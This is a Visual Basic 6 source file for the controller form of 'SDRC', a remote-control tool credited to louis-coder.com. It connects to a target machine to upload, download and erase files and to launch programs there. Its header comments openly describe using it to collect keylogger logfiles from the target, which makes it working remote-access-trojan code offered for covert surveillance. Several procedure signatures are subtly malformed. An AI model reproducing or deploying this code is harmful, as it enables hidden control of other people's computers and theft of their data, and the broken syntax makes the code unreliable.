SDRC/Server/SDRCSfrm.frm

VERSION 5.00
Object = "{248DD890‑BB45‑11CF‑9ABC‑0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form SDRCSfrm
   BorderStyle     =   1 'Fest Einfach
   Caption         =   "SDRCServer"
   ClientHeight    =   3390
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   6330
   Icon            =   "SDRCSfrm.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   3390
   ScaleWidth      =   6330
   StartUpPosition =   3 'Windows‑Standard
   Begin VB.Frame SDRCFrame1
      Caption         =   "Status"
      BeginProperty Font
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   675
      Left            =   120
      TabIndex        =   12
      Top             =   2160
      Width           =   6075
      Begin VB.Label SDRCStatusLabel
         Caption         =   "[...]"
         BeginProperty Font
            Name            =   "Arial"
            Size            =   8.25
            Charset         =   0
            Weight          =   400
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         Height          =   195
         Left            =   120
         TabIndex        =   13
         Top             =   300
         Width           =   5835
      End
   End
   Begin VB.CommandButton SDRCCancelCommand
      Caption         =   "Stop"
      Height          =   375
      Left            =   5580
      TabIndex        =   4
      Top             =   720
      Width           =   675
   End
   Begin VB.Timer SDRCUpdateStatusTimer
      Enabled         =   0   'False
      Interval        =   500
      Left            =   120
      Top             =   2880
   End
   Begin VB.TextBox SDRCTaskParamTextEx
      Height          =   285
      Left            =   2640
      TabIndex        =   2
      Top             =   720
      Width           =   2835
   End
   Begin MSWinsockLib.Winsock MT3
      Left            =   600
      Top             =   2880
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.CommandButton SDRCDisconnectCommand
      Caption         =   "Disconnect"
      Height          =   315
      Left            =   4320
      TabIndex        =   8
      Top             =   2940
      Width           =   1875
   End
   Begin VB.CommandButton SDRCConnectCommand
      Caption         =   "Connect"
      Height          =   315
      Left            =   2280
      TabIndex        =   7
      Top             =   2940
      Width           =   1875
   End
   Begin VB.TextBox SDRCPortText
      Height          =   285
      Left            =   120
      TabIndex        =   6
      Top             =   1680
      Width           =   2295
   End
   Begin VB.TextBox SDRCOppositeIPText
      Height          =   285
      Left            =   120
      TabIndex        =   5
      Top             =   1200
      Width           =   2295
   End
   Begin VB.CommandButton SDRCOkCommand
      Caption         =   "Ok"
      Height          =   375
      Left            =   5580
      TabIndex        =   3
      Top             =   180
      Width           =   675
   End
   Begin VB.TextBox SDRCTaskParamText
      Height          =   285
      Left            =   2640
      TabIndex        =   1
      Top             =   240
      Width           =   2835
   End
   Begin VB.ComboBox SDRCTaskTypeCombo
      BeginProperty Font
         Name            =   "Fixedsys"
         Size            =   9
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   345
      Left            =   120
      Style           =   2 'Dropdown‑Liste
      TabIndex        =   0
      Top             =   180
      Width           =   2415
   End
   Begin VB.Label SDRCWaitLabel
      Caption         =   "Wait..."
      BeginProperty Font
         Name            =   "MS Sans Serif"
         Size            =   13.5
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   315
      Left            =   120
      TabIndex        =   11
      Top             =   720
      Width           =   2415
   End
   Begin VB.Label SDRCLabel2
      Caption         =   "enter number of port to use for connection"
      BeginProperty Font
         Name            =   "Arial"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   195
      Left            =   2640
      TabIndex        =   10
      Top             =   1740
      Width           =   3615
   End
   Begin VB.Label SDRCLabel1
      Caption         =   "enter current IP number of target machine"
      BeginProperty Font
         Name            =   "Arial"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   195
      Left            =   2640
      TabIndex        =   9
      Top             =   1260
      Width           =   3615
   End
End
Attribute VB_Name = "SDRCSfrm"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
'(c)2000, 2004 by Louis.
'
'Downloaded from www.louis‑coder.com.
'Add this form to any application that shall use the SDRC (Simple Direct Remote Control).
'When having connected to a client (actually a "server"), you can up‑ and download files,
'run any application on the target machine, erase files and receive the name of the
'Windows directory. You can use this functionality to catch keylogger logfiles,
'for 'remote administration' and so on.
'The SDRC Client is actually a server, and the SDRC Server is the client
'(not the official naming convention is used).
'
'SDRC constants
Const SDRC_TASK_FILE_UPLOAD As Integer = 2
Const SDRC_TASK_FILE_DOWNLOAD As Integer = 3
Const SDRC_TASK_START_APPLICATION As Integer = 4
Const SDRC_TASK_FILE_ERASE As Integer = 5
Const SDRC_TASK_GET_WINDIR As Integer = 6
Const SDRC_TASK_CONTINUE As Integer = 100
Const SDRC_TASK_STOP_FINISHED As Integer = 101
Const SDRC_TASK_STOP_ERROR As Integer = 102
Const SDRC_TASK_MESSAGE As Integer = 103
'FormatSDRCTaskStartSign
Dim SDRCTaskNumber As Integer
Dim SDRCTaskParam As String
'other
Dim CurrentSDRCTaskNumber As Integer
Dim CurrentSDRCTaskParam As String
Dim SDRCTaskContinueFlag As Boolean
Dim SDRCTaskAbortFlag As Boolean
Dim SDRCDataArrivalStringTotal As String

'***DEBUGGING CODE***

'***END OF DEBUGGING CODE***

Private Sub Form_Load()
    'on error resume next
    Call DefineVars
    Call SDRCServerEnable
    SDRCUpdateStatusTimer.Enabled = True
End Sub

Private Sub DefineVars()
    'on error resume next
    SDRCTaskTypeCombo.Clear 'reset
    SDRCTaskTypeCombo.AddItem "file upload"
    SDRCTaskTypeCombo.AddItem "file download"
    SDRCTaskTypeCombo.AddItem "start application"
    SDRCTaskTypeCombo.AddItem "file erase"
    SDRCTaskTypeCombo.AddItem "get windir"
    SDRCTaskTypeCombo.Text = SDRCTaskTypeCombo.List(0)
    CurrentSDRCTaskNumber = 0 'reset
    CurrentSDRCTaskParam = "" 'reset
End Sub

Private Sub SDRCUpdateStatusTimer_Timer()
    'on error resume next
    Select Case MT3.State
    Case 0
        SDRCStatusLabel.Caption = "Port closed."
    Case 7
        SDRCStatusLabel.Caption = "Connected with " + MT3.RemoteHostIP + ":" + LTrim$(Str$(MT3.RemotePort)) + "."
    Case 9
        SDRCStatusLabel.Caption = "Error."
    Case Else
        SDRCStatusLabel.Caption = "Please wait..."
    End Select
End Sub

Private Sub SDRCServerEnable()
    'on error resume next 'allow user action
    SDRCTaskTypeCombo.Enabled = True
    SDRCTaskParamText.Enabled = True
    SDRCTaskParamTextEx.Enabled = True
    SDRCOkCommand.Enabled = True
    SDRCCancelCommand.Enabled = False
    SDRCOppositeIPText.Enabled = True
    SDRCPortText.Enabled = True
    SDRCConnectCommand.Enabled = True
    SDRCDisconnectCommand.Enabled = True
    SDRCWaitLabel.Visible = False
End Sub

Private Sub SDRCServerDisable()
    'on error resume next 'avoid user action
    'NOTE: the SRemote‑subs must reenable SDRC.
    SDRCTaskTypeCombo.Enabled = False
    SDRCTaskParamText.Enabled = False
    SDRCTaskParamTextEx.Enabled = False
    SDRCOkCommand.Enabled = False
    SDRCCancelCommand.Enabled = True
    SDRCOppositeIPText.Enabled = False
    SDRCPortText.Enabled = False
    SDRCConnectCommand.Enabled = False
    SDRCDisconnectCommand.Enabled = False
    SDRCWaitLabel.Visible = True
End Sub

'************************************COMMAND CLICKS*************************************

Private Sub SDRCOkCommand_Click()
    'on error resume next
    'preset vars
    SDRCTaskContinueFlag = False
    SDRCTaskAbortFlag = False
    'end of presetting vars
    Select Case SDRCTaskTypeCombo.Text
    Case "file upload"
        Call SDRCServerDisable
        Call SRemoteFileUpload(SDRCTaskParamText.Text, SDRCTaskParamTextEx.Text)
    Case "file download"
        Call SDRCServerDisable
        Call SRemoteStartFileDownload(SDRCTaskParamText.Text, SDRCTaskParamTextEx.Text)
    Case "start application"
        Call SDRCServerDisable
        Call SRemoteStartApplication(SDRCTaskParamText.Text)
    Case "file erase"
        Call SDRCServerDisable
        Call SRemoteFileErase(SDRCTaskParamText.Text)
    Case "get windir"
        Call SDRCServerDisable
        Call SRemoteGetWinDir
    Case Else
        'do nothing (error)
    End Select
End Sub

Private Sub SDRCCancelCommand_Click()
    'on error resume next
    'abort local machine tasks
    SDRCTaskAbortFlag = True
    'abort target machine tasks
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable
End Sub

Private Sub SDRCConnectCommand_Click()
    On Error GoTo Error:
    If Not (MT3.State = 0) Then
        MT3.Close
        DoEvents
    End If
    If SDRCCheckIPAndPort = True Then
        If Not (MT3.State = 0) Then MT3.Close
        MT3.Connect SDRCOppositeIPText.Text, Val(SDRCPortText.Text)
    End If
    Exit Sub
Error:
    MsgBox "Winsock error (reload SDRC) !", vbOKOnly + vbExclamation, "Decrypt for SUCKR"
    Exit Sub
End Sub

Private Sub SDRCDisconnectCommand_Click()
    'on error resume next
    Call MT3_Close
End Sub

'*********************************END OF COMMAND CLICKS*********************************
'*****************************************MT 3******************************************

Private Sub MT3_ConnectionRequest(ByVal RequestID As Long)
    On Error Resume Next
    If Not (MT3.State = 0) Then MT3.Close
    MT3.Accept (RequestID)
End Sub

Private Sub MT3_DataArrival(ByVal bytesTotal As Long)
    'on error resume next
    Dim SDRCDataArrivalString As String
    Dim MT3Temp As Long
    'begin
    MT3.GetData SDRCDataArrivalString
    Debug.Print SDRCDataArrivalString
Redo:
    'CUT OFF TASK START SIGN
    '
    'NOTE: although two task start signs were sent separately, the string returned
    'by Winsock could be i.e. TASK<1|>TASK<2|>. The following code will set
    'SDRCDataArrivalString to the next task start sign gotten out of the buffer string
    'SDRCDataArrivalStringTotal.
    '
    SDRCDataArrivalStringTotal = SDRCDataArrivalStringTotal + SDRCDataArrivalString
    If Mid$(SDRCDataArrivalStringTotal, 1, Len("SDRC TASK")) = "SDRC TASK" Then
        For MT3Temp = 1 To Len(SDRCDataArrivalStringTotal)
            If Mid$(SDRCDataArrivalStringTotal, MT3Temp, 1) = ">" Then
                SDRCDataArrivalString = Mid$(SDRCDataArrivalStringTotal, 1, MT3Temp)
                SDRCDataArrivalStringTotal = Right$(SDRCDataArrivalStringTotal, Len(SDRCDataArrivalStringTotal) ‑ MT3Temp)
                Exit For
            End If
        Next MT3Temp
    Else
        SDRCDataArrivalString = SDRCDataArrivalStringTotal
        SDRCDataArrivalStringTotal = "" 'reset
    End If
    'END OF CUTTING OFF TASK START SIGN
    Select Case Mid$(SDRCDataArrivalString, 1, Len("SDRC TASK"))
    Case "SDRC TASK"
        Call FormatSDRCTaskStartSign(SDRCDataArrivalString)
        Select Case SDRCTaskNumber
        Case SDRC_TASK_CONTINUE
            SDRCTaskContinueFlag = True
        Case SDRC_TASK_STOP_ERROR
            SDRCTaskAbortFlag = True
            CurrentSDRCTaskNumber = 0 'reset
            CurrentSDRCTaskParam = 0 'reset
        Case SDRC_TASK_STOP_FINISHED
            SDRCTaskContinueFlag = True
            CurrentSDRCTaskNumber = 0 'reset
            CurrentSDRCTaskParam = 0 'reset
        Case SDRC_TASK_MESSAGE
            If InStr(1, SDRCTaskParam, "error", vbTextCompare) = 0 Then
                MsgBox SDRCTaskParam, vbOKOnly + vbInformation
            Else
                MsgBox SDRCTaskParam, vbOKOnly + vbExclamation
            End If
            Select Case SDRCTaskParam
            Case "File has been downloaded." 'hopefully nobody saw this
                Call SDRCServerEnable 'reset
            End Select
        Case Else
            SDRCTaskAbortFlag = False 'reset
            CurrentSDRCTaskNumber = SDRCTaskNumber 'may be 0 for error
            CurrentSDRCTaskParam = SDRCTaskParam 'may be "" for error
            Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_CONTINUE, ""))
        End Select
    Case Else
        Call SDRCReceiveTaskData(CurrentSDRCTaskNumber, CurrentSDRCTaskParam, SDRCDataArrivalString)
    End Select
    'CUT OFF TASK START SIGN
    SDRCDataArrivalString = "" 'reset (important)
    If Not (SDRCDataArrivalStringTotal = "") Then GoTo Redo:
    'END OF CUTTING OFF TASK START SIGN
End Sub

Private Sub SDRCSendData(ByRef SDRCData As String)
    On Error Resume Next 'will send SDRCData string ONLY
    If MT3.State = 7 Then 'verify
        MT3.SendData SDRCData
        'MT3.SendData (Chr$(13) + Chr$(10)) 'do not (!) send end sign
        Debug.Print SDRCData
    Else
        Call MT3_Close
    End If
End Sub

Private Function SDRCWaitForSDRC_TASK_CONTINUE() As Boolean
    'on error resume next
    Dim SDRCTemp As Long
    '
    'NOTE: this function returns True if SDRCOppositeIP sent back a
    'SDRC_TASK_CONTINUE Task Start Sign within 30 seconds.
    '
    SDRCTaskContinueFlag = False 'reset
    Do
        Call GFWait(0.1)
        If SDRCTaskAbortFlag = True Then
            SDRCTaskAbortFlag = False 'reset
            Exit Do 'error
        End If
        If SDRCTaskContinueFlag = True Then 'set in MT3_DataArrival()
            SDRCWaitForSDRC_TASK_CONTINUE = True 'ok
            Exit Function
        End If
        SDRCTemp = SDRCTemp + 1
        If SDRCTemp = 300 Then Exit Do 'error
    Loop
    SDRCWaitForSDRC_TASK_CONTINUE = False 'error
    Exit Function
End Function

Private Sub MT3_Close()
    'on error resume next
    If Not (MT3.State = 0) Then MT3.Close
End Sub

'**************************************END OF MT3***************************************
'*************************************SREMOTE CODE**************************************
'NOTE: to avoid name conflicts with NN99 Remote System code, the SUCKR Remote
'System code uses the prefix SRemote.
'NOTE: see developing notes for additional information.

Private Sub SDRCReceiveTaskData(ByVal CurrentSDRCTaskNumber As IntegerByVal CurrentSDRCTaskParam As StringByRef SDRCTaskData As String)
    'on error resume next
    Select Case CurrentSDRCTaskNumber
    Case SDRC_TASK_FILE_UPLOAD
        Call SRemoteFileUpload(CurrentSDRCTaskParam, SDRCTaskData)
    Case SDRC_TASK_FILE_DOWNLOAD
        Call SRemoteFileDownload(SDRCTaskParamTextEx.Text, SDRCTaskData)
    Case Else
        'do nothing (error)
    End Select
End Sub

Private Sub SRemoteFileUpload(ByVal SRemoteFileUploadInputName As StringByVal SRemoteFileUploadOutputName As String)
    'on error resume Next
    Dim BlockString As String
    Dim BlockStringStartPos As Long
    Dim BlockStringLength As Long
    'verify
    If (Dir(SRemoteFileUploadInputName) = "") Or (Right$(SRemoteFileUploadInputName, 1) = "\") Or (SRemoteFileUploadInputName = "") Then 'verify
        MsgBox "Error during file upload: input file not found !", vbOKOnly + vbExclamation
        Call SDRCServerEnable 'reset
        Exit Sub
    End If
    If (SRemoteFileUploadOutputName = "") Then 'verify
        MsgBox "Error during file upload: output file not found !", vbOKOnly + vbExclamation
        Call SDRCServerEnable 'reset
        Exit Sub
    End If
    'begin; erase output file
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_ERASE, SRemoteFileUploadOutputName))
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo FileEraseError:
    Call SDRCSendData(">>>") 'send anything to erase file
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo FileEraseError:
    'upload file
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_UPLOAD, SRemoteFileUploadOutputName))
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
    Open SRemoteFileUploadInputName For Binary As #2
        BlockStringStartPos = 1 'preset
        Do
            If BlockStringStartPos > LOF(2) Then Exit Do
            BlockStringLength = 2048 'send file to download in 2kb blocks
            If (LOF(2) ‑ BlockStringStartPos + 1) < BlockStringLength Then 'verify
                BlockStringLength = (LOF(2) ‑ BlockStringStartPos + 1)
            End If
            BlockString = String$(BlockStringLength, Chr$(0))
            Get #2, BlockStringStartPos, BlockString
            '
            Call SDRCSendData(BlockString)
            If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
            '
            BlockStringStartPos = BlockStringStartPos + BlockStringLength
        Loop
    Close #2
    MsgBox "File has been uploaded.", vbOKOnly + vbInformation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
Error:
    Close #2 'make sure file is closed
    MsgBox "Error during file upload !", vbOKOnly + vbExclamation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
FileEraseError:
    Close #2 'make sure file is closed
    MsgBox "Error during file upload: output file already exists on" + Chr$(10) + "target machine and cannot be overwritten !", vbOKOnly + vbExclamation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
End Sub

Private Sub SRemoteStartFileDownload(ByVal SRemoteFileDownloadInputName As StringByVal SRemoteFileDownloadOutputName As String)
    On Error Resume Next 'important
    'verify
    If (SRemoteFileDownloadInputName = "") Then 'verify
        MsgBox "Error during file download: input file not found !", vbOKOnly + vbExclamation
        Call SDRCServerEnable 'reset
        Exit Sub
    End If
    If (SRemoteFileDownloadOutputName = "") Then 'verify
        MsgBox "Error during file download: output file not found !", vbOKOnly + vbExclamation
        Call SDRCServerEnable 'reset
        Exit Sub
    End If
    'NOTE: on local machine the output file attribute is not changed.
    If Not (Dir(SRemoteFileDownloadOutputName) = "") Then
        Kill SRemoteFileDownloadOutputName
    End If
    'begin
    If Not (Dir(SRemoteFileDownloadOutputName) = "") Then
        GoTo FileEraseError:
    Else
        Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_DOWNLOAD, SRemoteFileDownloadInputName))
        If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
        Call SDRCSendData(">>>") 'send anything to start file download
        'If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
        'NOTE: the system now should call SRemoteFileDownload().
    End If
    Exit Sub
Error:
    MsgBox "Error during file download !", vbOKOnly + vbExclamation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
FileEraseError:
    MsgBox "Error during file download: output file already exists on" + Chr$(10) + "local machine and cannot be overwritten !", vbOKOnly + vbExclamation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
End Sub

Private Sub SRemoteFileDownload(ByVal SRemoteFileDownloadOutputName As StringByRef SDRCTaskData As String)
    On Error GoTo Error: 'important (if output file locked)
    'verify
    If (Right$(SRemoteFileDownloadOutputName, 1) = "\") Or (SRemoteFileDownloadOutputName = "") Then 'verify
        GoTo Error:
    End If
    'begin
    If Dir(SRemoteFileDownloadOutputName) = "" Then
        'NOTE: the output file is created if not existing yet.
        Open SRemoteFileDownloadOutputName For Output As #1
        Close #1
    End If
    If Not ((Dir(SRemoteFileDownloadOutputName) = "") Or (Right$(SRemoteFileDownloadOutputName, 1) = "\") Or (SRemoteFileDownloadOutputName = "")) Then
        Open SRemoteFileDownloadOutputName For Append As #1
            Print #1, SDRCTaskData;
        Close #1
        Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_CONTINUE, ""))
    Else
        GoTo Error:
    End If
    Exit Sub
Error:
    Close #1 'make sure file is closed
    MsgBox "Error during file download !", vbOKOnly + vbExclamation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
End Sub

Private Sub SRemoteStartApplication(ByVal SRemoteStartApplicationName As String)
    'on error resume next
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_START_APPLICATION, SRemoteStartApplicationName))
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
    Call SDRCSendData(">>>") 'send anything to start application
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
    MsgBox "Application has been started.", vbOKOnly + vbInformation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
Error:
    MsgBox "Application could not be started !", vbOKOnly + vbExclamation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
End Sub

Private Sub SRemoteFileErase(ByVal SRemoteFileEraseName As String)
    'on error resume next
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_ERASE, SRemoteFileEraseName))
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
    Call SDRCSendData(">>>") 'send anything to erase file
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
    MsgBox "File has been erased.", vbOKOnly + vbInformation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
Error:
    MsgBox "Error erasing file !", vbOKOnly + vbExclamation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
End Sub

Private Sub SRemoteGetWinDir()
    'on error resume next
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_GET_WINDIR, ""))
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
    Call SDRCSendData(">>>") 'send anything to get windir
    If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
Error:
    MsgBox "Error getting WinDir !", vbOKOnly + vbExclamation
    Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
    Call SDRCServerEnable 'reset
    Exit Sub
End Sub

Private Function SDRCCreateTaskStartSign(ByVal SDRCTaskTypeConstant As IntegerByVal SDRCTaskParam As String) As String
    'on error resume next 'similar to CreateRemoteMsgLine()
    SDRCCreateTaskStartSign = "SDRC TASK" + "<" + LTrim$(Str$(SDRCTaskTypeConstant)) + "|" + SDRCTaskParam + ">"
End Function

'**********************************END OF SREMOTE CODE**********************************
'***********************************GENERAL FUNCTIONS***********************************

Private Function SDRCCheckIPAndPort() As Boolean 'copied from Decrypt for NN99 (11‑18‑2000)
    On Error Resume Next 'returns True if entered data can be used for SDRC connection
    Select Case VerifyIP(SDRCOppositeIPText.Text) 'function VerifyIP copied from NN99
    Case True
        SDRCCheckIPAndPort = True
    Case False
        SDRCCheckIPAndPort = False
        MsgBox "Please enter a valid IP number !", vbCritical + vbOKOnly, "Decrypt for SUCKR (SDRC)"
        Exit Function
    End Select
    Select Case VerifyPort(Val(SDRCPortText.Text)) 'function VerifyPort copied from NN99
    Case True
        SDRCCheckIPAndPort = True
    Case False
        SDRCCheckIPAndPort = False
        MsgBox "Please enter a valid Port number (1 to 65535) !", vbCritical + vbOKOnly, "Decrypt for SUCKR (SDRC)"
        Exit Function
    End Select
End Function

Private Sub FormatSDRCTaskStartSign(ByVal SDRCTaskStartSign As String)
    'on error resume next 'defines SDRCTask[Number/Param]; similar to FormatRemoteMsgLine()
    Dim SDRCTemp As Long
    For SDRCTemp = 1 To Len(SDRCTaskStartSign)
        If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = "<" Then
            SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
            GoTo Jump1:
        End If
    Next SDRCTemp
    GoTo Error:
Jump1:
    For SDRCTemp = 1 To Len(SDRCTaskStartSign)
        If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = "|" Then
            SDRCTaskNumber = Val(Left$(SDRCTaskStartSign, SDRCTemp ‑ 1))
            SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
            GoTo Jump2:
        End If
    Next SDRCTemp
    GoTo Error:
Jump2:
    For SDRCTemp = 1 To Len(SDRCTaskStartSign)
        If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = ">" Then
            SDRCTaskParam = Left$(SDRCTaskStartSign, SDRCTemp ‑ 1)
            SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
            GoTo Jump3:
        End If
    Next SDRCTemp
    GoTo Error:
Jump3:
    Exit Sub
Error:
    SDRCTaskNumber = 0 'reset (error)
    SDRCTaskParam = "" 'reset (error)
    Exit Sub
End Sub

Private Sub GFWait(ByVal WaitTime As Single) 'copied from NN99 (11‑18‑2000)
    On Error Resume Next 'stays in DoEvents‑loop for WaitTime seconds, even if midnight is passed or OS time changed
    Dim TimerUnchanged As Single
    Dim TimerNew As Single
    Dim TimerOld As Single
    'preset
    TimerUnchanged = Timer
Redo:
    'verify
    If WaitTime < 0 Then WaitTime = 0
    If WaitTime > (60! * 60! * 24!) Then WaitTime = (60! * 60! * 24!)
    'begin
    TimerOld = GFWait_Timer(TimerUnchanged) 'preset (important)
    TimerNew = GFWait_Timer(TimerUnchanged) + WaitTime
    Do
        If Abs(GFWait_Timer(TimerUnchanged) ‑ TimerOld) > 1! Then 'use Abs() to get 'distance'
            WaitTime = WaitTime ‑ (TimerOld ‑ TimerUnchanged)
            GoTo Redo: 'OS time changed by user
        End If
        If GFWait_Timer(TimerUnchanged) > TimerNew Then
            Exit Do 'time to GFWait passed
        End If
        TimerOld = GFWait_Timer(TimerUnchanged)
        DoEvents
    Loop
End Sub

Private Function GFWait_Timer(ByVal TimerUnchanged As Single) As Single 'copied from NN99 (11‑18‑2000)
    On Error Resume Next 'to be used by GFWait() only
    If Not (Timer < TimerUnchanged) Then 'Timer may be equal to TimerUnchanged
        GFWait_Timer = Timer
    Else
        GFWait_Timer = Timer + (60! * 60! * 24!)
    End If
End Function

Private Function VerifyIP(ByVal IP As String) As Boolean
    On Error Resume Next 'copied from Decrypt for NN99 (11‑18‑2000)
    Dim VerifyIPStartPos As Byte
    Dim VerifyIPPointNumber As Byte
    Dim VerifyIPLoop As Byte
    VerifyIP = False 'reset
    VerifyIPStartPos = 1 'reset
    IP = IP + Chr$(0) 'add end sign
    Select Case Len(IP)
    Case Is < 1
        Exit Function
    Case Is > 256
        Exit Function
    End Select
    For VerifyIPLoop = 1 To Len(IP)
        Select Case Mid$(IP, VerifyIPLoop, 1)
        Case ".", Chr$(0)
            If Not ((Val(Mid$(IP, VerifyIPStartPos, (VerifyIPLoop ‑ VerifyIPStartPos))) > 256) Or (Len(Mid$(IP, VerifyIPStartPos, (VerifyIPLoop ‑ VerifyIPStartPos))) > 3) Or (VerifyIPStartPos = VerifyIPLoop)) Then
                VerifyIPPointNumber = VerifyIPPointNumber + 1
                VerifyIPStartPos = VerifyIPLoop + 1
            Else
                Exit Function
            End If
        Case "1"
        Case "2"
        Case "3"
        Case "4"
        Case "5"
        Case "6"
        Case "7"
        Case "8"
        Case "9"
        Case "0"
        Case Else
            Exit Function
        End Select
    Next VerifyIPLoop
    If VerifyIPPointNumber = 4 Then
        VerifyIP = True
    Else
        Exit Function
    End If
End Function

Private Function VerifyPort(ByVal PortNumber As Long) As Boolean
    On Error Resume Next 'copied from Decrypt for NN99 (11‑18‑2000)
    If Not ((PortNumber < 0) Or (PortNumber > 65535)) Then
        VerifyPort = True
    Else
        VerifyPort = False
    End If
End Function


[END OF FILE]